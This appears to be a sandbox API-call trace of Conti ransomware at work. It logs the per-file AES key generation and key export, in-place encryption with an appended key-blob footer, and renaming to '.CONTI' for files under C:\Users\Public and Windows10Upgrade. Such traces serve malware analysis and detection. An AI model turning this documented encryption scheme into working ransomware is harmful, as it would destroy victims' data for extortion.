	[0147.792] lstrcpyW (in: lpString1=0x6ba60f0, lpString2="C:\\Users\\Public\\Desktop\\desktop.ini" | out: lpString1="C:\\Users\\Public\\Desktop\\desktop.ini") returned="C:\\Users\\Public\\Desktop\\desktop.ini"
	[0147.792] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop\\desktop.ini", lpString2=".CONTI" | out: lpString1="C:\\Users\\Public\\Desktop\\desktop.ini.CONTI") returned="C:\\Users\\Public\\Desktop\\desktop.ini.CONTI"
	[0147.792] MoveFileW (lpExistingFileName="C:\\Users\\Public\\Desktop\\desktop.ini" (normalized: "c:\\users\\public\\desktop\\desktop.ini"), lpNewFileName="C:\\Users\\Public\\Desktop\\desktop.ini.CONTI" (normalized: "c:\\users\\public\\desktop\\desktop.ini.conti")) returned 1
	[0147.793] GetProcessHeap () returned 0x1720000
	[0147.793] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6ba60f0 | out: hHeap=0x1720000) returned 1
	[0147.793] CryptDestroyKey (hKey=0x17de5d0) returned 1
	[0147.793] GetProcessHeap () returned 0x1720000
	[0147.793] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x173d508 | out: hHeap=0x1720000) returned 1
	[0147.793] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x45bfa68, lpCompletionKey=0x45bfa6c, lpOverlapped=0x45bfa78, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x45bfa68, lpCompletionKey=0x45bfa6c, lpOverlapped=0x45bfa78) returned 1
	[0147.793] CryptGenKey (in: hProv=0x1763c48, Algid=0x6610, dwFlags=0x1, phKey=0x65d7068 | out: phKey=0x65d7068*=0x17de790) returned 1
	[0147.793] CryptExportKey (in: hKey=0x17de790, hExpKey=0x175ddf0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65d706c, pdwDataLen=0x45bfa3c | out: pbData=0x65d706c*, pdwDataLen=0x45bfa3c*=0x20c) returned 1
	[0147.794] GetFileAttributesW (lpFileName="C:\\Users\\Public\\desktop.ini" (normalized: "c:\\users\\public\\desktop.ini")) returned 0x26
	[0147.794] CreateFileW (lpFileName="C:\\Users\\Public\\desktop.ini" (normalized: "c:\\users\\public\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0147.794] GetLastError () returned 0x0
	[0147.794] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x45bf9e8 | out: lpFileSize=0x45bf9e8*=174) returned 1
	[0147.794] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xae
	[0147.794] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x226, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0147.794] SetEndOfFile (hFile=0x35c) returned 1
	[0147.795] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0147.795] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0147.795] WriteFile (in: hFile=0x35c, lpBuffer=0x65d706c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x45bf9f4, lpOverlapped=0x0 | out: lpBuffer=0x65d706c*, lpNumberOfBytesWritten=0x45bf9f4*=0x20c, lpOverlapped=0x0) returned 1
	[0147.796] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0147.796] ReadFile (in: hFile=0x35c, lpBuffer=0xc100000, nNumberOfBytesToRead=0xae, lpNumberOfBytesRead=0x45bfa14, lpOverlapped=0x0 | out: lpBuffer=0xc100000*, lpNumberOfBytesRead=0x45bfa14*=0xae, lpOverlapped=0x0) returned 1
	[0147.796] CryptEncrypt (in: hKey=0x17de790, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc100000*, pdwDataLen=0x45bfa0c*=0xae, dwBufLen=0x500000 | out: pbData=0xc100000*, pdwDataLen=0x45bfa0c*=0xb0) returned 1
	[0147.796] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0147.796] WriteFile (in: hFile=0x35c, lpBuffer=0xc100000*, nNumberOfBytesToWrite=0xb0, lpNumberOfBytesWritten=0x45bfa28, lpOverlapped=0x0 | out: lpBuffer=0xc100000*, lpNumberOfBytesWritten=0x45bfa28*=0xb0, lpOverlapped=0x0) returned 1
	[0147.796] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0147.796] WriteFile (in: hFile=0x35c, lpBuffer=0x65d7060*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x45bfa40, lpOverlapped=0x0 | out: lpBuffer=0x65d7060*, lpNumberOfBytesWritten=0x45bfa40*=0x8, lpOverlapped=0x0) returned 1
	[0147.796] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0147.796] CloseHandle (hObject=0x35c) returned 1
	[0147.796] GetProcessHeap () returned 0x1720000
	[0147.796] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6ba60f0
	[0147.796] lstrcpyW (in: lpString1=0x6ba60f0, lpString2="C:\\Users\\Public\\desktop.ini" | out: lpString1="C:\\Users\\Public\\desktop.ini") returned="C:\\Users\\Public\\desktop.ini"
	[0147.797] lstrcatW (in: lpString1="C:\\Users\\Public\\desktop.ini", lpString2=".CONTI" | out: lpString1="C:\\Users\\Public\\desktop.ini.CONTI") returned="C:\\Users\\Public\\desktop.ini.CONTI"
	[0147.797] MoveFileW (lpExistingFileName="C:\\Users\\Public\\desktop.ini" (normalized: "c:\\users\\public\\desktop.ini"), lpNewFileName="C:\\Users\\Public\\desktop.ini.CONTI" (normalized: "c:\\users\\public\\desktop.ini.conti")) returned 1
	[0147.797] GetProcessHeap () returned 0x1720000
	[0147.797] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6ba60f0 | out: hHeap=0x1720000) returned 1
	[0147.797] CryptDestroyKey (hKey=0x17de790) returned 1
	[0147.797] GetProcessHeap () returned 0x1720000
	[0147.797] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b7e9b8 | out: hHeap=0x1720000) returned 1
	[0147.797] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x45bfa68, lpCompletionKey=0x45bfa6c, lpOverlapped=0x45bfa78, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x45bfa68, lpCompletionKey=0x45bfa6c, lpOverlapped=0x45bfa78) returned 1
	[0147.797] CryptGenKey (in: hProv=0x1763c48, Algid=0x6610, dwFlags=0x1, phKey=0x65d7740 | out: phKey=0x65d7740*=0x17de9d0) returned 1
	[0147.797] CryptExportKey (in: hKey=0x17de9d0, hExpKey=0x175ddf0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65d7744, pdwDataLen=0x45bfa3c | out: pbData=0x65d7744*, pdwDataLen=0x45bfa3c*=0x20c) returned 1
	[0147.798] GetFileAttributesW (lpFileName="C:\\Users\\Public\\Documents\\desktop.ini" (normalized: "c:\\users\\public\\documents\\desktop.ini")) returned 0x26
	[0147.799] CreateFileW (lpFileName="C:\\Users\\Public\\Documents\\desktop.ini" (normalized: "c:\\users\\public\\documents\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0147.799] GetLastError () returned 0x0
	[0147.799] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x45bf9e8 | out: lpFileSize=0x45bf9e8*=278) returned 1
	[0147.799] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x116
	[0147.799] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x22e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0147.799] SetEndOfFile (hFile=0x35c) returned 1
	[0147.800] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0147.800] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0147.800] WriteFile (in: hFile=0x35c, lpBuffer=0x65d7744*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x45bf9f4, lpOverlapped=0x0 | out: lpBuffer=0x65d7744*, lpNumberOfBytesWritten=0x45bf9f4*=0x20c, lpOverlapped=0x0) returned 1
	[0147.802] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0147.802] ReadFile (in: hFile=0x35c, lpBuffer=0xc100000, nNumberOfBytesToRead=0x116, lpNumberOfBytesRead=0x45bfa14, lpOverlapped=0x0 | out: lpBuffer=0xc100000*, lpNumberOfBytesRead=0x45bfa14*=0x116, lpOverlapped=0x0) returned 1
	[0147.802] CryptEncrypt (in: hKey=0x17de9d0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc100000*, pdwDataLen=0x45bfa0c*=0x116, dwBufLen=0x500000 | out: pbData=0xc100000*, pdwDataLen=0x45bfa0c*=0x120) returned 1
	[0147.802] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0147.802] WriteFile (in: hFile=0x35c, lpBuffer=0xc100000*, nNumberOfBytesToWrite=0x120, lpNumberOfBytesWritten=0x45bfa28, lpOverlapped=0x0 | out: lpBuffer=0xc100000*, lpNumberOfBytesWritten=0x45bfa28*=0x120, lpOverlapped=0x0) returned 1
	[0147.802] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0147.802] WriteFile (in: hFile=0x35c, lpBuffer=0x65d7738*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x45bfa40, lpOverlapped=0x0 | out: lpBuffer=0x65d7738*, lpNumberOfBytesWritten=0x45bfa40*=0x8, lpOverlapped=0x0) returned 1
	[0147.802] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0147.802] CloseHandle (hObject=0x35c) returned 1
	[0147.802] GetProcessHeap () returned 0x1720000
	[0147.802] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6ba60f0
	[0147.802] lstrcpyW (in: lpString1=0x6ba60f0, lpString2="C:\\Users\\Public\\Documents\\desktop.ini" | out: lpString1="C:\\Users\\Public\\Documents\\desktop.ini") returned="C:\\Users\\Public\\Documents\\desktop.ini"
	[0147.802] lstrcatW (in: lpString1="C:\\Users\\Public\\Documents\\desktop.ini", lpString2=".CONTI" | out: lpString1="C:\\Users\\Public\\Documents\\desktop.ini.CONTI") returned="C:\\Users\\Public\\Documents\\desktop.ini.CONTI"
	[0147.802] MoveFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\desktop.ini" (normalized: "c:\\users\\public\\documents\\desktop.ini"), lpNewFileName="C:\\Users\\Public\\Documents\\desktop.ini.CONTI" (normalized: "c:\\users\\public\\documents\\desktop.ini.conti")) returned 1
	[0147.803] GetProcessHeap () returned 0x1720000
	[0147.803] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6ba60f0 | out: hHeap=0x1720000) returned 1
	[0147.803] CryptDestroyKey (hKey=0x17de9d0) returned 1
	[0147.803] GetProcessHeap () returned 0x1720000
	[0147.803] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x181d7b8 | out: hHeap=0x1720000) returned 1
	[0147.803] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x45bfa68, lpCompletionKey=0x45bfa6c, lpOverlapped=0x45bfa78, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x45bfa68, lpCompletionKey=0x45bfa6c, lpOverlapped=0x45bfa78) returned 1
	[0147.803] CryptGenKey (in: hProv=0x1763c48, Algid=0x6610, dwFlags=0x1, phKey=0x65d5e28 | out: phKey=0x65d5e28*=0x17de6d0) returned 1
	[0147.803] CryptExportKey (in: hKey=0x17de6d0, hExpKey=0x175ddf0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65d5e2c, pdwDataLen=0x45bfa3c | out: pbData=0x65d5e2c*, pdwDataLen=0x45bfa3c*=0x20c) returned 1
	[0147.804] GetFileAttributesW (lpFileName="C:\\Users\\Public\\Downloads\\desktop.ini" (normalized: "c:\\users\\public\\downloads\\desktop.ini")) returned 0x26
	[0147.804] CreateFileW (lpFileName="C:\\Users\\Public\\Downloads\\desktop.ini" (normalized: "c:\\users\\public\\downloads\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0147.804] GetLastError () returned 0x0
	[0147.804] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x45bf9e8 | out: lpFileSize=0x45bf9e8*=174) returned 1
	[0147.804] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xae
	[0147.804] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x226, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0147.804] SetEndOfFile (hFile=0x35c) returned 1
	[0148.665] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0148.665] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0148.665] WriteFile (in: hFile=0x35c, lpBuffer=0x65d5e2c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x45bf9f4, lpOverlapped=0x0 | out: lpBuffer=0x65d5e2c*, lpNumberOfBytesWritten=0x45bf9f4*=0x20c, lpOverlapped=0x0) returned 1
	[0149.380] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0149.380] ReadFile (in: hFile=0x35c, lpBuffer=0xc100000, nNumberOfBytesToRead=0xae, lpNumberOfBytesRead=0x45bfa14, lpOverlapped=0x0 | out: lpBuffer=0xc100000*, lpNumberOfBytesRead=0x45bfa14*=0xae, lpOverlapped=0x0) returned 1
	[0149.380] CryptEncrypt (in: hKey=0x17de6d0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc100000*, pdwDataLen=0x45bfa0c*=0xae, dwBufLen=0x500000 | out: pbData=0xc100000*, pdwDataLen=0x45bfa0c*=0xb0) returned 1
	[0149.380] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0149.380] WriteFile (in: hFile=0x35c, lpBuffer=0xc100000*, nNumberOfBytesToWrite=0xb0, lpNumberOfBytesWritten=0x45bfa28, lpOverlapped=0x0 | out: lpBuffer=0xc100000*, lpNumberOfBytesWritten=0x45bfa28*=0xb0, lpOverlapped=0x0) returned 1
	[0149.380] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0149.380] WriteFile (in: hFile=0x35c, lpBuffer=0x65d5e20*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x45bfa40, lpOverlapped=0x0 | out: lpBuffer=0x65d5e20*, lpNumberOfBytesWritten=0x45bfa40*=0x8, lpOverlapped=0x0) returned 1
	[0149.380] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0149.380] CloseHandle (hObject=0x35c) returned 1
	[0149.380] GetProcessHeap () returned 0x1720000
	[0149.380] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0149.519] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\Users\\Public\\Downloads\\desktop.ini" | out: lpString1="C:\\Users\\Public\\Downloads\\desktop.ini") returned="C:\\Users\\Public\\Downloads\\desktop.ini"
	[0149.519] lstrcatW (in: lpString1="C:\\Users\\Public\\Downloads\\desktop.ini", lpString2=".CONTI" | out: lpString1="C:\\Users\\Public\\Downloads\\desktop.ini.CONTI") returned="C:\\Users\\Public\\Downloads\\desktop.ini.CONTI"
	[0149.519] MoveFileW (lpExistingFileName="C:\\Users\\Public\\Downloads\\desktop.ini" (normalized: "c:\\users\\public\\downloads\\desktop.ini"), lpNewFileName="C:\\Users\\Public\\Downloads\\desktop.ini.CONTI" (normalized: "c:\\users\\public\\downloads\\desktop.ini.conti")) returned 1
	[0149.520] GetProcessHeap () returned 0x1720000
	[0149.520] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0149.520] CryptDestroyKey (hKey=0x17de6d0) returned 1
	[0149.520] GetProcessHeap () returned 0x1720000
	[0149.520] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x181de98 | out: hHeap=0x1720000) returned 1
	[0149.520] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x45bfa68, lpCompletionKey=0x45bfa6c, lpOverlapped=0x45bfa78, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x45bfa68, lpCompletionKey=0x45bfa6c, lpOverlapped=0x45bfa78) returned 1
	[0149.520] CryptGenKey (in: hProv=0x1763c48, Algid=0x6610, dwFlags=0x1, phKey=0x65d4be8 | out: phKey=0x65d4be8*=0x17de990) returned 1
	[0149.520] CryptExportKey (in: hKey=0x17de990, hExpKey=0x175ddf0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65d4bec, pdwDataLen=0x45bfa3c | out: pbData=0x65d4bec*, pdwDataLen=0x45bfa3c*=0x20c) returned 1
	[0149.521] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\default.css" (normalized: "c:\\windows10upgrade\\resources\\ux\\default.css")) returned 0x20
	[0149.521] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\default.css" (normalized: "c:\\windows10upgrade\\resources\\ux\\default.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x49c
	[0149.522] GetLastError () returned 0x0
	[0149.522] GetFileSizeEx (in: hFile=0x49c, lpFileSize=0x45bf9e8 | out: lpFileSize=0x45bf9e8*=5767) returned 1
	[0149.522] SetFilePointer (in: hFile=0x49c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1687
	[0149.522] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x22d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0149.522] SetEndOfFile (hFile=0x49c) returned 1
	[0149.522] SetFilePointer (in: hFile=0x49c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0149.522] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0149.522] WriteFile (in: hFile=0x49c, lpBuffer=0x65d4bec*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x45bf9f4, lpOverlapped=0x0 | out: lpBuffer=0x65d4bec*, lpNumberOfBytesWritten=0x45bf9f4*=0x20c, lpOverlapped=0x0) returned 1
	[0149.525] SetFilePointer (in: hFile=0x49c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0149.525] ReadFile (in: hFile=0x49c, lpBuffer=0xc100000, nNumberOfBytesToRead=0x1687, lpNumberOfBytesRead=0x45bfa14, lpOverlapped=0x0 | out: lpBuffer=0xc100000*, lpNumberOfBytesRead=0x45bfa14*=0x1687, lpOverlapped=0x0) returned 1
	[0149.529] CryptEncrypt (in: hKey=0x17de990, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc100000*, pdwDataLen=0x45bfa0c*=0x1687, dwBufLen=0x500000 | out: pbData=0xc100000*, pdwDataLen=0x45bfa0c*=0x1690) returned 1
	[0149.529] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0149.530] WriteFile (in: hFile=0x49c, lpBuffer=0xc100000*, nNumberOfBytesToWrite=0x1690, lpNumberOfBytesWritten=0x45bfa28, lpOverlapped=0x0 | out: lpBuffer=0xc100000*, lpNumberOfBytesWritten=0x45bfa28*=0x1690, lpOverlapped=0x0) returned 1
	[0149.530] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0149.530] WriteFile (in: hFile=0x49c, lpBuffer=0x65d4be0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x45bfa40, lpOverlapped=0x0 | out: lpBuffer=0x65d4be0*, lpNumberOfBytesWritten=0x45bfa40*=0x8, lpOverlapped=0x0) returned 1
	[0149.530] SetFilePointer (in: hFile=0x49c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0149.530] CloseHandle (hObject=0x49c) returned 1
	[0149.530] GetProcessHeap () returned 0x1720000
	[0149.530] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0149.530] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\Windows10Upgrade\\resources\\ux\\default.css" | out: lpString1="C:\\Windows10Upgrade\\resources\\ux\\default.css") returned="C:\\Windows10Upgrade\\resources\\ux\\default.css"
	[0149.530] lstrcatW (in: lpString1="C:\\Windows10Upgrade\\resources\\ux\\default.css", lpString2=".CONTI" | out: lpString1="C:\\Windows10Upgrade\\resources\\ux\\default.css.CONTI") returned="C:\\Windows10Upgrade\\resources\\ux\\default.css.CONTI"
	[0149.530] MoveFileW (lpExistingFileName="C:\\Windows10Upgrade\\resources\\ux\\default.css" (normalized: "c:\\windows10upgrade\\resources\\ux\\default.css"), lpNewFileName="C:\\Windows10Upgrade\\resources\\ux\\default.css.CONTI" (normalized: "c:\\windows10upgrade\\resources\\ux\\default.css.conti")) returned 1
	[0149.531] GetProcessHeap () returned 0x1720000
	[0149.531] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0149.531] CryptDestroyKey (hKey=0x17de990) returned 1
	[0149.531] GetProcessHeap () returned 0x1720000
	[0149.531] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17e1690 | out: hHeap=0x1720000) returned 1
	[0149.531] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x45bfa68, lpCompletionKey=0x45bfa6c, lpOverlapped=0x45bfa78, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x45bfa68, lpCompletionKey=0x45bfa6c, lpOverlapped=0x45bfa78) returned 1
	[0149.531] CryptGenKey (in: hProv=0x1763c48, Algid=0x6610, dwFlags=0x1, phKey=0x65dabb8 | out: phKey=0x65dabb8*=0x17de750) returned 1
	[0149.531] CryptExportKey (in: hKey=0x17de750, hExpKey=0x175ddf0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65dabbc, pdwDataLen=0x45bfa3c | out: pbData=0x65dabbc*, pdwDataLen=0x45bfa3c*=0x20c) returned 1
	[0149.532] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\default_eos.css" (normalized: "c:\\windows10upgrade\\resources\\ux\\default_eos.css")) returned 0x20
	[0149.533] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\default_eos.css" (normalized: "c:\\windows10upgrade\\resources\\ux\\default_eos.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x49c
	[0149.533] GetLastError () returned 0x0
	[0149.533] GetFileSizeEx (in: hFile=0x49c, lpFileSize=0x45bf9e8 | out: lpFileSize=0x45bf9e8*=6700) returned 1
	[0149.533] SetFilePointer (in: hFile=0x49c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1a2c
	[0149.533] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x228, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0149.533] SetEndOfFile (hFile=0x49c) returned 1
	[0149.534] SetFilePointer (in: hFile=0x49c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0149.534] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0149.534] WriteFile (in: hFile=0x49c, lpBuffer=0x65dabbc*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x45bf9f4, lpOverlapped=0x0 | out: lpBuffer=0x65dabbc*, lpNumberOfBytesWritten=0x45bf9f4*=0x20c, lpOverlapped=0x0) returned 1
	[0149.540] SetFilePointer (in: hFile=0x49c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0149.540] ReadFile (in: hFile=0x49c, lpBuffer=0xc100000, nNumberOfBytesToRead=0x1a2c, lpNumberOfBytesRead=0x45bfa14, lpOverlapped=0x0 | out: lpBuffer=0xc100000*, lpNumberOfBytesRead=0x45bfa14*=0x1a2c, lpOverlapped=0x0) returned 1
	[0149.541] CryptEncrypt (in: hKey=0x17de750, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc100000*, pdwDataLen=0x45bfa0c*=0x1a2c, dwBufLen=0x500000 | out: pbData=0xc100000*, pdwDataLen=0x45bfa0c*=0x1a30) returned 1
	[0149.541] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0149.541] WriteFile (in: hFile=0x49c, lpBuffer=0xc100000*, nNumberOfBytesToWrite=0x1a30, lpNumberOfBytesWritten=0x45bfa28, lpOverlapped=0x0 | out: lpBuffer=0xc100000*, lpNumberOfBytesWritten=0x45bfa28*=0x1a30, lpOverlapped=0x0) returned 1
	[0149.541] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0149.541] WriteFile (in: hFile=0x49c, lpBuffer=0x65dabb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x45bfa40, lpOverlapped=0x0 | out: lpBuffer=0x65dabb0*, lpNumberOfBytesWritten=0x45bfa40*=0x8, lpOverlapped=0x0) returned 1
	[0149.541] SetFilePointer (in: hFile=0x49c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0149.541] CloseHandle (hObject=0x49c) returned 1
